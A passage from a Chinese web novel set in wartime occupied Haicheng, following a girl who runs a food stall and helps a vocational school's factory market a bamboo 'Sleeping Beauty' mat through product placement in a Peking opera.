春妮回头看了一眼,只看见米铺里涌出几个扎黑腰带的大汉,这几个大汉手提长棍,蒙头几棍打下去:“他妈的,都给老子安 静,不准吵!” 这年头,不进□□,连米都卖不了了…… 春妮在心底一叹,也没有了跟小贩们讲价的心思,匆匆打包好自己要买的东西。 离开前,米店里还在吆喝:“不准挤,一担米四十块现大洋。不要法币,不要中储币。没带够钱的别杵在这浪费大伙时间。” 四十块现大洋,倒不是很贵。但跟战前比,也翻了两个跟头。 春妮回身望了眼排得不见头尾的队伍,心里隐隐忧虑:这么多人,米店的米够卖吗?万一有人没买到米,又该怎么办? 出于心中那份隐隐的担忧,正好这一天除了早晚锻炼,春妮没有课,她便将时间都消磨在了小摊上,一天下来,打听出了一些消息。 “你们真以为米店真没有米了?听他们瞎扯吧。再没米卖,怎么也不至于只卖半天都没了。那是那些黑心肝的米店老板为了抻你们,抬米价。” “就是,小顾姐,我告诉你啊,昨天我大舅子媳妇娘家的二姑奶奶家的三小子昨儿个晚上看见米店后门来了好几辆车,杨老板和几个伙计搬了好些口袋上去,不知道搬到哪去了。他上午还骗咱们说没米,那他搬上车的是泥巴砂子?” “说不准是泥巴砂子呢。今儿我媳妇用刚买的大米淘来作饭,她做之前称了称,你们猜怎么着?一斤米生淘出二两砂子!” “他奶奶的一□□商,他怎么不干脆卖砂子得了?” “我看哪,这世道怕是要越发乱了。我昨天不是跟你们说,我隔壁那坏小子这几天都跟他那一帮兄弟仗着人多插队买米是吧?好小子,我媳妇说,她今天在黄冠里看到他们好几个人在串门卖米呢,一斤米卖六毛,买的人还不少。” “是吗?这得报上工部局,请工部局的老爷们做主吧?” “做主个屁,那些老爷们什么不知道?反正受苦的是咱们,再怎么都饿不着他们,人家着什么急?” “话也不能这么说,越南米也是工部局谈妥进埠的,要是他们真不管咱们死活,操这心干什么?” “我呸,你以为他们为什么?他们是咱们饿急眼了跟他们拼命,拿点残渣剩菜吊着咱们不乱呢。” “此言有理,倭国人今天杀这个,明天杀那个,真想做事的人,吓也给吓死了。我听说这些天在逼着黄老爷辞职,好安插他们自己人进去。” “啊?那工部局同意了吗?” “那倒还没听说,不过我瞧也不远了。之前工部局不是已经有一个倭国人了吗?” “那个倭国人在秘书会,这回人家谋的是董事的位置。” 几人说得热闹,没留意不远处一队倭国士兵拐出里弄,朝码头走去。 春妮咳了咳:“几位,还加点茶吗?” 在这种地方传这样的消息,大家背后都长着眼睛。听春妮话音不对,当即笑着推茶杯:“劳烦小顾姐,给我来一杯吧。” 因为天气渐暖,春妮将熬了一冬的姜茶撤下,问铁号买了个大茶壶,里头搁些粗茶,免费供食客们清口解腻。 渐渐的,大伙不吃早饭,也爱往她这来歇歇脚。 只要没人吃饭,春妮也不会主动撵人。有时为了得到消息,还会顺着食客们说说话。她原本长得小,并不仰仗武力压人,时日一长,她跟这些常来常往的食客们也处出了几分情面。 来添茶时,一名食客就示意她矮下身子,轻声道:“小老板,他们的话你可别不当回事。你这里就几个学生娃,这是没遇到事,要是遇到了事,顶不顶用,你心里要有个数。” 春妮心里原本就在打鼓,闻听此言,心里更是一凛。 这人叫陈一清,白天不经常现身,但到了晚上,据德三说,他至少一周会来两到三次。每次来时,腰上鼓鼓的,都带着真家伙。 他每回晚上从码头下来,必然要到小摊子上讨春妮一碗姜汤喝汤。 春妮再三同李德三重申,跟他一路的人来喝汤,招待就是,别的,有多远离多远。 这样的人物,往往对危险比常人更敏感。 她谢过陈一清的提醒,晚上跟李德三交接班时,问他最近的情况。 德三果然说:“这两天菜市场买米,有人通宵出来排队。来往的人多了,好像是有几个在那探头探脑的。” 他们这一片离菜市场不远,的确容易受到冲击。 春妮就有些犹豫:“要不晚上的摊子关了?” 德三却道:“不至于,他们不敢。” 春妮还待再劝,德三又道:“你天天领着那些学生们在操场上操练,喊得声震入天的,我听着有时候都一激灵。除了那些没来多久的愣头青,谁敢惹我们?” 春妮就道:“那不是还是有意外吗?我明儿让蒋四成一块跟你值夜班吧。” “那白天怎么办?白天摊子上事也不少,不留个男人也不行。” 春妮去年招的两个学生中,除了蒋四成,另外一个叫王小花,也是个姑娘。 “再招人呗。”春妮想也没想。 李德三在摊子里干的时间长了,虽然没经手采买,但多少能估算个成本价出来。春妮给他们开的工钱相当不错,时不时还有福利发,他都怀疑,再加人进来还会不会有钱赚。 “你不赚钱了?” “赚钱也不能不要命吧?” 如今粮米供应越发紧张,最紧张的时候,摊子也不得不关了几天歇业。春妮如今仍坚持摆摊,除了这几个伙计需要这份生计,再就是为了探消息。 真的要赚钱,她守着空间,跟人出去运两趟粮食,多少钱赚不到? 连李德三都知道,到了夜里,江边有些地方比白天还热闹。倭国人没有这么多兵力封锁一整个租界,能钻的空子多多了。 现在张阿进都不去挑挑子卖水果,每天专意在倭国人拉的铁丝网边转悠,干起了跑单帮的活。 但越是这个时候,消息越发要紧。不到万不得以,她这个摊子将会一直开下去。 不过德三说的话给她提了个醒,她每天领着学生们跑操,固然能壮自己的胆气,吓走不怀好意的人,也有可能引来倭国人的猜忌。 得想个法子,再低调一些。 既然要招人,春妮的手笔索性放大一些。 如今不说世面上,就是学校里,也一堆学生等着活干。 她回去吆喝一声,引来几十个大小伙子来应聘。后来春妮收下四个,上午一个,下午一个,晚上的两个跟李德三一起守摊子。 因为床铺不够,她干脆让张阿进给她弄来两挑担碎砖头,把原来的草棚子拆了,用黄泥一糊,搭了个前厅后厨的小房子。 这且不算,一切安置妥当之后,春妮将德三单独叫到一边,拿出样东西拍到他手上:“你拿着这个东西别离身,晚上用来防身。” 德三手一沉,吓得差点手滑:“你哪来的王八盒子?” 王八盒子正是倭国军人常用的一种手枪。 第76章 076 火中取栗 形势果然像陈一清曾经对春妮警告过的那样, 一天比一天恶化。 尤其是每到放粮日,街里街外,附近探头探脑的人也多了起来。 以前倭国人封锁街区, 大伙都没粮食吃, 一心一意搞走|私倒也罢了,但越南米的事众所周知,租界里有眼睛的人,谁不盯着粮店? 如今手上有两个钱的,没有几个保镖,都不敢在街面上走。尤其是米店老板,据他所说, 这个月,店里少说遇到了五起破门。幸好他认了红帮一个小头领当师父, 才勉强守住店子没被人抢光。 还有运粮车被饥民当街打劫,一个月也发生了数起。 这样的事件一多,学校里流言四起。有老师在会议建议说,是不是他们也请几个帮会兄弟帮着镇守一番。学校现在家大业大, 厂房里的铁疙瘩也多,万一被人偷了抢了, 大家伙吃饭的家伙都要砸了。 春妮坚决反对,她这些日子天天守在小摊子上,见多了□□因 为利益或仇杀一言不合拔刀相向。请神容易送神难, 沾上“黑”字,是那么容易脱身的吗? 像方校长先前想巴着卫老爷子一家, 那是因为卫老爷子不是真的帮会出身。他有正经的官方身份,又有社会地位,基本道义还是要讲的。 海城的□□大多数都是像76号那群打手那样见利忘义, 敲骨吸髓的流氓恶霸。被这些人缠上,扒掉一层皮都是轻的。 可只靠几名住校老师守校也不现实。 学校经过几次“圈围墙”,地盘至少扩建到了原来的五倍,这么大的地方,老师们也守不过来。前些日子,工厂的一扇窗户在夜里不知被谁打破,要不是方校长领着人及时赶到,说不定机器就丢了。 最后,老师们从各班选出几名高壮的学生组成护卫队,日夜巡护学校。但春妮觉得,还是缺了点什么。 包括现在春妮放在铺子里唬人的大小伙子,有一个算一个,都是样子货,不能跟那些好勇斗狠,真见过血的□□成员比。 幸好学校扩招之后又招了几名体育□□,春妮除了每天跑操,不用再负责具体的授课,才能将闲暇时间都消磨在小摊上。 自玩具厂做太阳拼图开始,春妮将大部分时间都奉献给了学校的印刷室,即现在的印刷工厂。到后来的多米诺,更是亲自上阵,为工厂打开局面。这几个月里,她除了当个没有感情的揉面机器,几乎没有在小摊上投入更多的精力。 夏风萍的位置很重要,春妮需要更多的时间观察,好确定她的继任人选。 在此期间,她除了找机会督促李德三勤练枪法之外,只能在放粮日那几天,每个白天黑夜都亲自守在摊子上,防止有不开眼的来找他们下手。 学校并不因为招收了更多的学生,早操时喊号声声震入耳而让人望而却步。 相反的,以前几天见不到人影的巡捕房每天早晚都要来一趟。 他们巡视得那样频密,无非是害怕学校有什么秘密活动。这样一群成天有发泄不完精力的青少年聚在一起,担心是人之常情。 然而跟学校交好,已俨然成为学校亲密合作伙伴的纳尔逊如今跳槽到工部局一位英国董事家里做管家。这些人再想找麻烦,顾及纳尔逊的面子,也不能做得太过分。 玩具厂建立的这半年多时间,春妮等高级员工固然忙忙碌碌,其他员工们也没闲着。留在工厂的,将手艺磨练得越发纯熟,那些早早出入于各种高档场所,协助百货公司布置过几次会场的学生们,在多米诺风潮如急雨般褪潮之后,也找到了自己新的出路。 他们借由多米诺累积起来的口碑,拉起一支团队,以多米诺为噱头,游走在各大会所和百货公司做起了专业的会场布置。 这应该不是海城最早的会场布置团队,但他们经过系统的培训,新生后备力量强大,还有专业美术老师,如林老师当顾问,一般的散兵游勇,哪有实力对抗他们? 一时间,“江浦基础技能学校”的名字响彻了整个海城的零售业。 名气带来的后续效应是强大的,方校长办公室的电话热闹了好长一段时间,都是来咨询学习什么专业可以进入那个团队的人。 方校长顺水推舟,统一跟来电回复,说自家会在秋初集中招生,让他们注意留意学校的招生简章。 至于读什么专业才能进入团队,到时候再看,校长自己都还没决定呢。当然,这部分人,学校是要收学费的。 有了名气,做什么都方便。 方校长赶趁这股热气儿,走了纳尔逊的路子。这回正经到工部局办了份盖楼的文书,又去救火会办了个程序,决定盖个三层楼起来。反正真的没谁来量他的地,方校长给管事的塞了两百块现大洋,以“自有土地”的名义,将自家偷偷盖的那几间加在一起办手续,算是过了明路。 现在在租界盖楼跟拉电线不一样,只要肯去办,基本不用等待,盖楼手续在一周之内很快办下来。因为从前年海城沦陷,一直到今年,海城的建筑业死了一大半。 朝不保夕的年代,也就是这么些新收的小学生实在无处可放,校长才会盖楼。否则谁家里有两个钱,不赶紧换成金子银子藏起来? 就是有那盖楼的,也只在租界边缘跟越界筑路交界处盖些窝棚砖房,划成若干片租给难民去住。 即使是盖楼,三层也是极限。 前年的教训还在这呢,倭国人轰炸的时候,可尽是捡着楼高的,漂亮的,宽敞占地方的轰。再来一次,就是学校有这个钱重新盖,万一轰死个人,不是赔大发了? 学校的楼为什么盖得急,不止是这一个原因。 暗地里,方校长曾经同老同事们说过他的忧虑:工厂越办越好,最近透过中间人来询问校长,有没有意向转手的越来越多。这个“意向转手”就很有意思,办厂初期,学校为了拉投资宣传过一波,说这个厂是为了补贴学校支出办的,有心人不难打听。 工厂“转手”了,那学校怎么办?反正,有心“接手”的人没有一个提这事。 方校长均以工厂是校产,不好操作为由拒绝了。但他怕夜长梦多,干脆赚多少花多少。这几个月赚的,再加上以原有房屋为抵押,从银行里贷出的一点钱,作为楼房的先期投资已经到了帐。 至少盖楼是学生们实在能得到的好处,负责盖楼的人,有很多也是学生的亲人,这也算给他们找了个活干。哪怕盖完只住一天,受惠的也是自己人,没让别人占到便宜。若被人骗走讹走,那才是要闷出一口老血。 方校长日渐焦虑,他是旧式文人,钱财于他不过是维持生计的工具。没钱他不焦燥,有钱他也不贪婪。反而工厂越能赚钱,他只感到越发烫手。但这种时候开厂赚钱,本来就是在群狼环伺下火中取栗。 赚这点钱太不容易了。为了学校,再烫手他也要捂得紧紧的,谁来都不放手。 五月份,郑经理布置的宣传手段开始发力。 报纸上,公告板上,电台里开始频频出现“睡美人麻将凉席”的宣传广告。 也是世风问题,时人新创个牌子,总喜欢贴着女人作文章,还越香艳越好。像丝袜名起个“红粉牌”,胭脂名起个“月里嫦娥”还好,连个冰淇淋名字都叫“美女牌”,还因为这个红粉菲菲的名字大火特火了一把。 郑经理怎么可能干看着这个热度不去蹭? 在有些人眼里,“睡美人”跟麻将,跟凉席结合起来,原本也的确香艳到让人想入非非。 对于郑经理起的这个名字,老师和韩厂长他们固然心中有微词,但春妮提前同他们通过气。 之前他们工厂出品的东西文人烙印太深,以至于让人一看就联想得到这是一个地方出来的东西。工厂现在需要低调,“睡美人”这个名字,听上去跟以前的产品就不是一个套路,不至于让人听见名字就联想到他们。 当然,这番布置瞒不住真正消息灵通的人,但能多一层保护色也好。反正不管名字叫什么,赚的钱不也是要给学校,给老师们用吗? 郑经理果然不愧是学校花大价钱请来的高级经理,他认识的媒体多,经过一连串的集中资讯轰炸,“睡美人”这个名字在短时间之内不说街知巷闻,也是耳熟能详。 到街面上人都在说“睡美人”,都在讲“麻将凉席”时,先施百货才铺开了第一批货。 直到看见实物,大家才恍然大悟:麻将凉席就是那个麻将凉席啊! 恍然大悟之后,有人发现了玄奥之处。只见姜黄色为底色的凉席上,一抹深绿的美人影子浅浅印于席上。一眼看过去,果真是又香艳,又风流,不负“睡美人”之名。 这么大胆的创意当然是出自于见识更多的春妮。 不是没有性子保守的员工反对,但为了赚钱,学校连给舞女印传单招揽客人的事都干过,单单只印个美女在凉席上又算什么? 再说了,草席上美人瞧上去娇躯侧卧,曲线玲珑。实际上除了勾出几笔香肩,小半个额头,鼻尖和纤腰,没 有别的大胆出奇之处。噱头的意义远大于其他。 这几笔美人,正是出自于韩师父收的木雕徒工们之手。至于凉席的两种颜色,则是来自竹块两种不同的处置手法。 保守的老师父当然也看不惯凉席上的文章,但他只是每次见了春妮叹几口气,仍是什么都没说。工厂招收的员工中,就数韩师父的部门只出不进,老师父为人性子要强,听韩厂长说,他好些晚上都是翻身到半夜才睡着。 有了凉席上的美女,他也算在厂里站住了脚跟。 说回百货商场的事。 众人大哗:这什么卖家啊,连一领凉席都能做得这么半掩半露,勾得人心里痒痒。 正好五月暑气刚起,正是需要凉席的时候。这凉席摸上去的确比草席要光滑凉快。海城有钱人也多,一领双人席五十块的定价并不算特别贵,先施百货先上的三十领凉席被迅速一抢而空。 先施百货催货的电话打到学校时,方校长只觉得在做梦:定价五十块钱的凉席竟然也卖这么快,这世界是真的疯了吧? 这还不够疯,更疯的在后边。 端午节那天,郑经理做了个大动作。 第77章 077 稀世奇珍 去年的端午节, 春妮两姐弟在逃荒路上挣扎求生,不知前路如何。今年的端午节,姐弟两个打扮一新, 被方校长一家人邀请到学校住处一起吃粽子。 春妮两个掐着点到时, 走廊外边的铁锅里咕嘟咕嘟,四溢着粽叶的香气。 方师母从瓷碗的凉水里捞出两个鸡蛋,笑着招呼姐弟俩:“来得正好,鸡蛋已经不烫了,快来吃。吃了白煮蛋,保佑以后你们小娃娃像鸡蛋一样,长得又白又嫩。” 方校长揭开锅盖夹粽子, 笑问:“时间算得这样好,不是想来吃现成的吧?”方校长与春妮有半师之谊, 师生两个说话向来随意。 “才不是,是格林先生找我姐姐说话,我们才来晚了的。”夏生忙为姐姐辩解。 他原本很怕方校长,但因为姐姐时常被校长留堂, 他也跟着留下来好多回,被师母招待着吃喝, 时间一长,也就不那么怕了。 师母拉着夏生,给他配戴五色丝绦, 说话温声细语的:“你们先生跟你姐姐开玩笑,你快跟弟弟们玩去吧。”又好奇地问:“格林先生是有什么事找你?” 自从普尔南到学校任职, 将他的两个外孙外孙女也送到学校就读,方便就近照顾后,只要有空, 格林先生也会帮忙接送孩子。如今方校长,乃至整个学校的师生对格林一家都很熟悉。 毕竟整所学校,只有这两名白皮肤高鼻子的国际学生。 “就是聊一些他们化学药剂,制药的事。” 她聊的其实是青霉素。 跟格林先生熟悉起来后,春妮便有意识地向他询问青霉素的事。幸好她问得很策略,格林先生刚开始根本不明白她在说什么。两人聊过几次后,他告诉她,有一位英国教授的确发现了一种可以令葡萄链球菌消失的青色霉菌,这种霉菌经过实验论证,含有某种对杀死葡萄链球菌有效的抗生素,但人们目前无法将单纯的抗生素从菌种中提取出来。 其实菌种培养不难,难在萃取和提纯抗生素上。 当时春妮问他,如果有成熟的抗生素参照,对研究进程的加快有没有促进作用。 格林先生以为她是痛心战场上的战士受了伤,又没有行之有效的消炎药所作出的幻想。不得不说,格林先生的猜测有些接近。 他很认真地回答她,那种可以杀死葡萄链球菌的抗生素是自然界原有的物质,它的提取首先要有数目相当的菌落群培养,提纯的过程中,需要用到的溶媒和萃取剂有很多种,每一种抗生素特性不一,使用的提取方法和试剂都不一样。成品抗生素只是萃取的结果,对制造过程没有任何帮助。 他拿桔子树做比方,青霉菌相当于桔子树,萃取剂可以比喻为水和肥料,青霉素就像成熟后摘取的桔子。没有水和肥料,只有桔子树,是种不出桔子的。同理,桔子树,水跟肥料三者缺一不可,才长得出桔子,一个桔子却长不出另一个桔子。 格林先生讲的,跟春妮前世老师曾讲过的化学实验原理差不多,实验中变量太多,用结果倒推过程不现实,更不可取。 春妮想依靠她空间里存放的青霉素研发更多的青霉素果然不行,在真正的提取技术完善之前,那些宝贝真的是名副其实的稀世奇珍,用一支少一支。 两人对话时,格林先生的儿子霍利也在旁边,他很好奇地问东问西。格林先生索性拿医院的一只培养皿做实验,用煮熟加糖的土豆做培养基,让儿子观察青霉菌生成的过程。 因为春妮见证了这次小小实验的成立,有幸被告知实验进程。 她出门时,霍利的实验已经培养出了第三代青霉菌溶液,父子两个特地来告诉她结果。 说回学校这边。 师母讶道:“哎哟,小顾老师,你连制药都懂?” 春妮笑:“瞎聊。我也听不懂。” 师母嗔她:“你这孩子,就是谦虚。” 春妮抿着嘴笑,不说话了。 她现在什么都会一点的形象已经立了起来,她因为认识的人多,又什么都喜欢学,学的东西杂,不是应当应分的吗?往后再做点什么大伙不了解的东西,熟悉她的人也能为她找到理由。春妮也乐意让人们这样误会,省得以后做点什么事,老是叫人一惊一乍的。 方校长一家是海城郊县人,他是独子,成婚很早,以至于今年才三十出头,已经有了三儿一女。他的大女儿桂香翻过年十四岁,比春妮正好大一岁。 春妮经常到校长家补习,跟桂香很熟悉。这位小姐姐因为是家中最大的孩子,性格稳重,习惯了照顾弟弟妹妹。尽管父母都说春妮很厉害,但在读国中的桂香眼里,她仍是瘦瘦的,需要照顾的小妹子。每回春妮到她家,她总会下意识照顾她。 一时饭菜上桌,师母遣了几个孩子去叫几个留在学校的老师和学生一起吃饭。 加上方校长和春妮一家,学校里还有十来个老师和学生。没一会儿人到齐,围着坐了两桌。 桂香给春妮剥了只粽子:“给你特地挑了咸蛋黄的粽子,你们北方人不是没吃过吗?今天可该好好尝一尝。”还给她挟了块黄鱼肚子:“先凉凉再吃。” 海城人过端午讲究“食五黄”。五黄即黄鳝,黄鱼,黄瓜,咸蛋黄和雄黄酒。 方校长家的咸蛋腌得相当到位,一口黄瓜,一口粽子,春妮吃得满口流油,听桂香喝斥弟弟们:“别吃得太快。戏园子这会儿没开,不用着急。” 昨天郑经理给校长和他们这些玩具厂高管送来几张戏票,邀请他们吃完饭去看戏。 方校长回家说起这事,家里的几个皮猴子乐得在操场上撒了欢的叫。结果乐完之后,又被告知,戏园子不叫年纪小的孩子进去,他们这几个活猴只能留在学校,等校长回来给他们讲两句,过过耳瘾。 叫他们来回闹腾一圈,这会儿看守学校的学生们都知道了消息,向他们几个打听:“校长,你们今天要听什么戏?” “是京戏,叫什么《贵妃醉酒》吧。” “《贵妃醉酒》可是名戏,”说话的学生是北方人,他很内行的问:“是哪位老板的戏?” 方校长没怎么听过京戏,回忆道:“说是姓程,叫程连玖。” “竟然是程老板?”学生倒抽一口气:“程老板什么时候来的海城?” “怎么?程老板很有名吗?” “那是当然,程老板可是我们北方的这个,”学生竖了个大拇指:“我小时候,程老板的名字在京城的梨园行就大得很。虽说在那之后,又出了梅老板和兰老板,可程老板一直没倒戏,也不是谁都能看程老板的戏。而且,据说程老板出道以来,从来没跑过外码,这是谁这么大面子,竟然请了他老家人来 海城唱戏?” 经过学生的一通乱侃科普,连春妮这个对唱戏一点兴趣也没有的路人都提起了精神。 她只隐约知道郑经理神神秘秘的,大约在戏园子里搞了点事,才没把戏票送给别人,跟方校长和韩厂长他们结伴去了戏园子。 春妮他们到时,戏还没开场,戏场外头挤满了人。 戏场外头,还有人一声接一声地喊 “程老板,我十四年的九月初五去看过你的戏”,“程老板,我是八年的戏迷”如何如何,也不管人家程老板在后台听不听得见。 三个人哪里见过疯狂粉丝?只见那些人眼睛齐刷刷盯着方校长手上的票,那眼神,活似下一秒就要扑上来抢。 方校长急忙将戏票往衣襟里一掖,惶惶道:“这就是程老板的戏迷?也太吓人了一些。” 韩厂长半挡住方校长:“进去再说。” 程连玖唱戏的地方在法租界的一处戏园子,这戏园子仿北方木楼格局,外边一圈三层的戏楼包厢,将中间的戏台和看台围起来,中间有如八角天井,是个里外通透的设计。 难怪外边那群人不肯走,里边人只要气足,唱起来,外边也是有可能听见的。 春妮他们自然不可能拿到包厢票,坐的也不是正座,而是贴着过道加的几个没靠背的小板凳,就是加座。 过道上拥挤不堪,卖瓜子卖凉饮的穿梭叫卖,将三个人挤得扭过来歪过去。 到了位置,方校长气喘吁吁,一屁股坐下:“这哪是看戏?分明是受罪来了。” 韩厂长忙拉他一把,只见周围人均对他怒目而视。有人不满道:“知足吧,你知道你手里的票,多少人想出高价买吗?” 方校长:“……”我不知道,但我不乱说了,总行了吗? 一时,开场锣响,幕布徐徐拉开。台下说话的,叫卖的人群像得了行止令一般,呼吸之间便安静下来。 春妮几个不由正襟危坐,盯着徐步款入的花旦。 这时,韩厂长拉了拉她的袖子:“小顾老师,你看官帽椅上铺着的香簟,是不是咱们的睡美人哪?” 春妮定睛看去,舞台中央放着的椅子上,椅背上那抹姜黄背靠上印着的那抹绿色倩影,不是睡美人是什么?这是春妮他们专为沙发和座椅设计的靠席,今天竟在程老板的道具里看到了! 郑经理不错啊,都知道植入广告带货了! 韩厂长还待再说,后边人忽然回身,瞪了他们俩一眼。两个赶紧闭嘴,听着五彩绣衣的花旦清声唱来:“海岛冰轮初转腾——” 贵妃且唱且舞,行至座前,众人目光也随着贵妃移动,看见了座椅,及座椅上含羞侧首的美人倩影。灯光交错,这一刻,香簟上光润清新的美人,跟舞台上水袖微扬,同样侧首矮身,袅娜坐下的贵妃有了微妙的重合。 一时,贵妃饮毕,抛出酒盏,扬身起舞,再露出椅背上的美人倩影。 春妮脑子里转着乱七八糟的念头,冷不防周围众人轰然了声“好”,那声“好”震如擂鼓,竟让她的耳朵有一瞬间的失聪。 原来,这就是郑经理的大动作……看来春妮年前的多米诺给他的刺激不小,让他卯足了劲要干出一番大成绩。 整场戏,春妮心不在焉,一时盯着椅子的睡美人发呆,一时望着周围那戏如痴如醉的戏迷出神。 她忍不住想,有了这一场戏,他们的“睡美人”,该火爆到什么地步去啊? 第78章 078 心意 春妮他们的麻将凉席卖爆了。 爆, 真的是字面意义上的爆。 程连玖在海城一连唱了九天的戏,因为《贵妃醉酒》是程老板的成名作,每晚的戏目都有这出戏。而作为重要道具的椅子, 那张睡美人的香簟, 随着程老板在海城日渐火爆,终于被人发现了玄机。 春妮没经历过粉丝经济时代,还是低估了粉丝的疯狂。 民国时期,曲艺界乃至电影界,追星最疯狂的,绝对是京剧粉丝。 尤其程老板即使在旧京,也是顶尖的角儿。他的粉丝们大到军阀世家, 小到贩夫走卒,这些人为了搏取程老板的青睐, 有才的,为他写评写剧,辗转捧到他面前以求一晤,有财的, 则一洒千金,为他包场都不在话下。传闻更有一位粉丝为了捧程老板, 跟对家打擂台,还曾请人写本,找电影公司为他拍了一个京剧电影。 普通的粉丝们没有这样的才气和财力, 除了到场捧角,打听程老板喜好, 模仿偶像起居的,也不乏其人,这就是后世所言的“使用明星同款”初版吧。 但是, 戏曲的场景装扮所限,粉丝们真正能将其搬到生活中使用的东西不多。彼时,这项商机也未能被人发现,并大加利用。 挂在程老板椅背上的“睡美人”虽然夺目,但大家也只以为,程老板看中了“睡美人”兼具艺术美感和舒适新潮的设计,将之搬到了舞台上,哪里想到,这一切不过是商家和演员联手操作的一次暗广? 睡美人上简约不失遐思的美人经由程老板的粉丝们口口相传,再一次地被推到了大众面前。这可是唯一一次戏台上道具能够被粉丝们亲近采撷,应用到生活中的机会! 无论什么时候,粉丝疯狂起来都能爆发出让人无可想象的力量。 蜂涌而来的粉丝挤爆了百货公司每一个“睡美人”的专柜,百货公司催货的电话一通接一通打过来,方校长不得不让尹老师暂时脱离教学工作,为他专门接打电话,不然,他怕是听见电话铃声就要犯头疼。 更有厉害的公司,专门派人到学校来,守在学校门口,等着工厂出一次货,马上使出浑身解数,要将凉席抢回自家先卖。 幸好学校早早成立了护卫队,几十个棒小伙齐刷刷跑过来,挡在众人面前,才没令那些各公司派来的销售员打破头。 其火爆程度,连娱乐小报都要来蹭蹭热度:“……本报记者曾几次到访独受程老板青睐的‘睡美人’工厂,竟有戏迷在百货公司买不到货品,因而追到工厂,守在工厂前购买‘程老板同款’,记者离开时,那几名戏迷尚在与工厂交涉。” 端午节过后,郑经理跟方校长他们说得也很谦虚:“这哪是我想到的?这不是我听顾总工说的,去电影里植入软性广告吗?电影公司不肯,我只能倒退一步,去戏园子里找最红的角儿合作。幸好程老板喜欢我们的凉席,肯给机会,不然,这事怕也难办。” 他一边说话,一边瞅着方校长。 春妮和韩厂长抿嘴暗笑:哪是人家电影公司不肯?分明是郑经理在暗指方校长太小气,只给他批了两百块钱作敲门砖,人家电影公司请个明星出席一次活动,都不止两百块钱,哪瞧得上郑经理的两百块? 方校长假装没听出来,呷了口茶,问韩厂长:“那几个围在厂里不肯走的程老板戏迷,打发走了吗?” “早走了。” “那么容易就走了?不会有什么麻烦吧?” 韩厂长笑:“不过是附近几个居民,是程老板的戏迷,碰巧又知道我们是睡美人的厂家。小顾老师出去转一圈,还能有什么事?” 小顾老师无奈:“你们这是把我当成镇山太岁用了啊。” 韩厂长叹道:“要是小顾老师这尊太岁能把海城的妖魔鬼怪都一次镇住,倒也省了事。” 众人沉默片刻,方校长问郑经理:“程老板收下礼物了吧?” 如今方校长也有了些商业上的敏感性,听过那场戏之后,他就明白,以郑经理的实力,不可能只用区区两百块钱打动程老板为他们做广告,后边绝对还有什么事。 郑经理也坦白,事后跟方校长说,他有个亲戚在戏园子里做事,趁隙跟程老板说起过他现在供职的玩具厂。他跟程老板说,玩具厂赚的钱都拨给了学校,用来供养学校老师和学生。现在学校因为一次性招收太多学生,连课堂课桌都不够用,急需援助。程老板只需要更换一下 道具,便可以做成这桩善事。 那两百块钱,其实买的是他亲戚的开口费。 程老板本人,真的是一分钱也没要。 但人家不要,你肯定不能揣着明白当糊涂。否则,你这次占了便宜,是人家一时善心发作,想要有下一次,那还可能吗? 方校长让郑经理打听了一下程老板出席活动的价码,比照着翻了两番,给包了个大红封送到了程老板下榻的酒店。 谁料想程老板原封不动还了回来,让人带了句话,叫他们拿红封里的钱尽快给孩子们盖好教室,便是成全了他的心意。 程老板还真认真打听过他们学校。 民国的娱乐圈可都是有钱人才混得起,捧得起的圈子。见识过粉丝的疯狂,方校长也不想轻易放弃程老板这条路,既然程老板不肯收钱,送礼物呢? 方校长将玩具厂成立来所有开发的玩具整理出来,每样选择一个,再送了几领席子,装了个大礼盒,让郑经理再送过去。 “收下了。” “那程老板怎么说?” “我没见到程老板。”郑经理苦恼地道:“程老板包了海城大酒店的一层楼住下,他不点头,我们连他房门都靠近不了。” “那你那亲戚……” 郑经理忙道:“不成的。我亲戚说了,这种事做一次就够了。一而再再而三,旁人也不是傻子,再就不灵了。” “郑经理,你想到哪去了?我不是想请程老板再帮忙,咱们光是应付现在的市场就应付不及了,我真想找程老板帮忙,也不急在一时,对不对?” “那校长您的意思?” “我是想请你帮我打听打听,程老板在北平的具体住址。以后咱们再有了新品,也好知道地方邮出去,你说对吧?” “那倒也是,还是校长想得细致。”郑经理站起身:“那我就先去办事去了?” 结束九天的巡演之后,程老板便要在这两天离开海城,留给郑经理的时间不多了。 “你去吧。” 郑经理离开后,方校长看向春妮:“小顾老师?” 小顾老师不想理他,并向他丢了个白眼。 方校长瞪她:“小顾老师,说正事呢,别皮。” “我是跟您说正事,您听了吗?”屋里都不是外人,春妮再不掩饰她的不满。 从戏园子回来的第二天,春妮去了一趟百货商场,站在睡美人专柜前看了半天,向方校长郑重提出,他们必须从现在开始,考虑工厂搬迁的问题。 方校长不是不赞同春妮的话,他也觉得,自己现在仿佛如小儿闹市抱金,工厂的生意越好,他们面临的危机可能就越多。海城现在没有强有力的政府,对他们这样老实做事的人最不利。 可是工厂搬迁不是小事,别的不说,现在厂房里那些大大小小的机器想出海城,就是一件细琐又头疼的事。这其中要打通的关节,付出的代价,想想就让人望而生畏。 应该不用这么着急吧,等我再想个周全的计划……方校长的爱思虑在这时变成了优柔寡断。 不过,除了春妮这个身入局内,却始终让自己保持局外观察的姑娘能够有这样的果决,不是刀刃加颈,其他人总会对自己面临的局面有一丝侥幸。 这种侥幸,很多时候也可以称作为希望。 春妮虽然不清楚这段时间具体发生的重大事件,但她明白,此时的局面还不到最恶化。最恶化的时候,倭国人向全世界宣了战。真要到了那种地步,凭租界那几个出了事躲得比兔子还紧的巡捕,能抵挡得住倭军的铁蹄? 连海城职业教育学校那样根深叶茂的学校都因为怀璧其罪而避出海城,他们呢? 方校长对春妮这样的小姑娘最没有办法:“可你一时一时的,让我搬工厂,兵荒马乱的,我搬到哪去?” “搬到哪,咱们可以商量,”春妮站起来,焦燥地在屋里来回转圈子:“重点是,您听了吗?” “可咱们的生意才刚刚开始,这时候要搬,万一断货了,一天都是多大的损失。” 方校长寻找外援:“小韩,你说是吧?” 韩厂长提出了个折衷的办法:“小顾老师,要不这样,等这两个月的旺季过去之后咱们再搬怎么样?校长顾虑的也不是没有道理,即使要搬迁,至少也要找个能开工厂,还跟海城不能断交通的地方吧。咱们的凉席卖得这么贵,除了海城,别处很难有这样的消费能力。” 这些的确是现实问题,春妮妥协了一些:“那我们先选出搬迁地点吧。” 第79章 079 守护 睡美人麻将凉席异军突起, 在海城如火如荼之际,谁也没想到,厂子的高层们在认真考虑工厂搬迁的问题。 按照春妮的要求, 这件事, 知情人范围不能超过五个。 尹老师被紧急叫来校长办公室时,怎么也没料到自己接下来的任务,将会是为工厂选择合适的搬迁地点。 